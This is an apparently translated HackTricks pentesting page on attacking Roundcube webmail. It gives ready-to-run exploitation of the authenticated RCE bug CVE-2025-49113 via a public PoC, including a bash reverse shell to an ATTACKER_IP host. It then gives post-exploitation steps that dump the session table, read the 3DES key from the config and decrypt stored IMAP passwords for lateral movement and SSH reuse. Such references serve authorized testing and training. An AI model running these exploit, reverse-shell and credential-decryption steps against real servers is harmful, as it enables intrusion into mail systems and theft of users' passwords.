Roundcube
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概览
Roundcube 是一个常见部署在 HTTP(S) vhosts(例如 mail.example.tld)上的 PHP webmail 客户端。常用指纹:
- HTML 源通常 leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- 容器/VMs 中默认应用路径: /var/www/html/roundcube
- 主配置: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
受影响版本(根据厂商/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
漏洞摘要
- _from 参数在 program/actions/settings/upload.php 中未被验证,允许注入由攻击者控制的数据,Roundcube 随后会 unserializes 该数据,导致 gadget chain execution 并在 web 上下文中发生 remote code execution(post‑auth)。
快速利用
- 前提条件: 有效的 Roundcube 凭证和可访问的 UI URL(例如 http://mail.target.tld)
- 公开 PoC 自动化 session handling、gadget crafting 和 upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Notes
- Output is often blind; use sleep N to validate RCE
- Resulting shell typically runs as www-data; on containerised deployments expect /.dockerenv and 172.17.0.0/16 networking
后渗透:从 Roundcube 会话恢复 IMAP 密码
Roundcube 将当前用户的 IMAP 密码存储在会话(数据库)中,使用在 config.inc.php 中配置的服务器端 3DES 密钥加密。通过对 Roundcube 主机的文件系统或 DB 访问,你可以恢复明文密码并转向其他邮箱/服务(SSH 重用很常见)。
- 从配置读取 DB DSN 和 3DES 密钥
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- 连接到 DB 并 dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
session.vars 字段是由 Roundcube 的 encrypt() 生成的 Base64 blob:Base64( IV || 3DES-CBC(plaintext) )。Base64‑decoding 后的前 8 个字节是 IV。
- 定位 password 字段
快速识别解密后结构中凭证的一种方法是先对 vars 字段进行 Base64‑decoding,然后肉眼查看序列化条目:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- 使用 Roundcube 的辅助工具解密
Roundcube 附带一个 CLI,使用相同的 rcmail->decrypt() 逻辑和已配置的 des_key:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- 手动 3DES-CBC 解密(可选)
- 密文格式:Base64( IV(8B) || CT )
- 算法:3DES-CBC,密钥长度 24B,PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
常见位置
- 数据库表: session (users 表将登录名映射到 IDs)
- 配置路径: /var/www/html/roundcube/config/config.inc.php
实战用途
- 较旧的 session 行通常包含先前用户的 IMAP 密码;解密多个条目以横向移动到其他邮箱
- 如果怀疑存在凭据重用,尝试使用恢复的凭据在 SSH 或其他服务上进行验证
参考资料
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

